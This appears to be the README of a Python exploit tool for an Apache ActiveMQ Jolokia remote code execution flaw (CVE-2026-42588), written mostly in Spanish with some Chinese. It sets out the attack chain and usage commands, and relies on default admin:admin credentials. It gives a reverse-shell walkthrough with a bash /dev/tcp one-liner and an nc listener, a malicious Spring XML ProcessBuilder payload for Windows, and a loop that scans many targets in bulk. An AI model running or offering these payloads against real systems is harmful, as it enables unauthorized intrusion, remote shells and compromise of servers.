
Exploit RCE basado en Python para CVE-2026-42588 dirigido a Apache ActiveMQ Jolokia. Incluye modo de solo verificación, generación de XML malicioso y soporte para reverse shell, OOB y verificación basada en archivos.
Nivel de Gravedad: 🔴 Alto (CVSS 4.0: 8.1)
Tipo de Vulnerabilidad: CWE-94 — Inyección de Código
Versiones Afectadas: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ version < 6.2.6
Requisito de Explotación: Se necesitan credenciales de autenticación de la Consola Web (por defectoadmin:admin)
CVE-2026-42588 es una vulnerabilidad de ejecución remota de código (RCE) posterior a la autenticación en Apache ActiveMQ.
Bajo la condición de poseer credenciales de autenticación de la Consola Web, un atacante puede invocar el método BrokerService.addNetworkConnector(String) a través de la interfaz puente Jolokia JMX-HTTP (/api/jolokia/), proporcionando un URI de descubrimiento masterslave:// cuidadosamente construido, y utilizando el protocolo xbean: para cargar un archivo de configuración Spring XML remoto, lo que finalmente permite ejecutar comandos arbitrarios del sistema en la JVM del Broker ActiveMQ.
/api/jolokia/ (Jolokia JMX-HTTP Bridge)
│
▼
BrokerService.addNetworkConnector(String)
│
▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
│
▼
XBeanBrokerFactory → ResourceXmlApplicationContext
│
▼
Spring 预实例化所有单例 Bean → 触发 Runtime.exec() / ProcessBuilder
│
▼
🚨 远程代码执行 (RCE)
| Componente | Descripción |
|---|---|
| Superficie de Exposición de Jolokia | La Consola Web de ActiveMQ expone por defecto /api/jolokia/, permitiendo ejecutar la operación exec en el MBean org.apache.activemq:* |
| Método Peligroso | BrokerService.addNetworkConnector(String) recibe y analiza la URI de descubrimiento |
| Cadena de Disparo de URI | El parámetro brokerConfig del protocolo masterslave:// es controlable, y en combinación con el esquema xbean: desencadena la carga del contexto de Spring |
| Punto de Disparo de RCE | XBeanBrokerFactory utiliza ResourceXmlApplicationContext para cargar XML remoto, Spring instancia todos los Beans singleton antes de la validación de configuración |
| Rango de Versiones | Estado |
|---|---|
| Apache ActiveMQ < 5.19.7 | ❌ Afectado |
| 6.0.0 ≤ Apache ActiveMQ < 6.2.6 | ❌ Afectado |
| Apache ActiveMQ ≥ 5.19.7 | ✅ Parcheado |
| Apache ActiveMQ ≥ 6.2.6 | ✅ Parcheado |
/api/jolokia/ es accesible por el atacante (puerto predeterminado 8161)admin:admin).
├── CVE-2026-42588_EXP.py # 漏洞利用脚本(核心)
├── malicious.xml # 恶意 Spring XML 模板
├── requirements.txt # Python 依赖
└── README.md # 本文件
| Archivo | Propósito |
|---|---|
CVE-2026-42588_EXP.py | Script de explotación de vulnerabilidad en Python, admite modo de detección (--check-only) y modo de generación de XML (--gen-xml) |
malicious.xml | Plantilla de configuración Spring XML maliciosa, que incluye dos métodos de explotación: Runtime.exec() y ProcessBuilder |
pip install -r requirements.txt
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
Iniciar el servicio HTTP en la máquina atacante:
python3 -m http.server 8080
# Usar credenciales predeterminadas admin/admin
python CVE-2026-42588_EXP.py \
-u http://192.168.1.100:8161 \
-x http://your-attacker-ip:8080/malicious.xml
# Usar credenciales personalizadas
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-U myuser \
-P mypass \
-x http://your-attacker-ip:8080/malicious.xml
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
[-x XML_URL] [--check-only] [--gen-xml]
[-c COMMAND] [--timeout TIMEOUT] [--no-verify]
Opciones:
-u, --url URL del objetivo ActiveMQ (ej. http://192.168.1.100:8161)
-U, --username Nombre de usuario de la Consola Web (por defecto: admin)
-P, --password Contraseña de la Consola Web (por defecto: admin)
-x, --xml-url URL remota del archivo Spring XML malicioso
--check-only Solo detectar si la interfaz Jolokia es accesible
--gen-xml Generar archivo XML malicioso y mostrarlo en stdout
-c, --command Comando a ejecutar en el objetivo (por defecto: touch /tmp/activemq_pwned)
--timeout Tiempo de espera de solicitud HTTP en segundos (por defecto: 30)
--no-verify Deshabilitar verificación de certificados SSL
1. Generar XML malicioso en la máquina atacante:
python CVE-2026-42588_EXP.py --gen-xml \
-c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
> reverse_shell.xml
2. Alojar XML e iniciar escucha:
# Terminal 1: Servicio HTTP
python3 -m http.server 8080
# Terminal 2: Escucha nc
nc -lvnp 4444
3. Disparar la vulnerabilidad:
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-x http://10.0.0.1:8080/reverse_shell.xml
1. Generar XML malicioso para Windows:
Modificar el comando de ProcessBuilder en malicious.xml a:
<bean class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>whoami > C:\windows\temp\pwned.txt</value>
</list>
</constructor-arg>
</bean>
2. Alojar y ejecutar:
python CVE-2026-42588_EXP.py \
-u http://windows-target:8161 \
-x http://attacker:8080/malicious_win.xml
# Detección por lotes
for ip in $(cat targets.txt); do
echo "=== Probando $ip ==="
python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done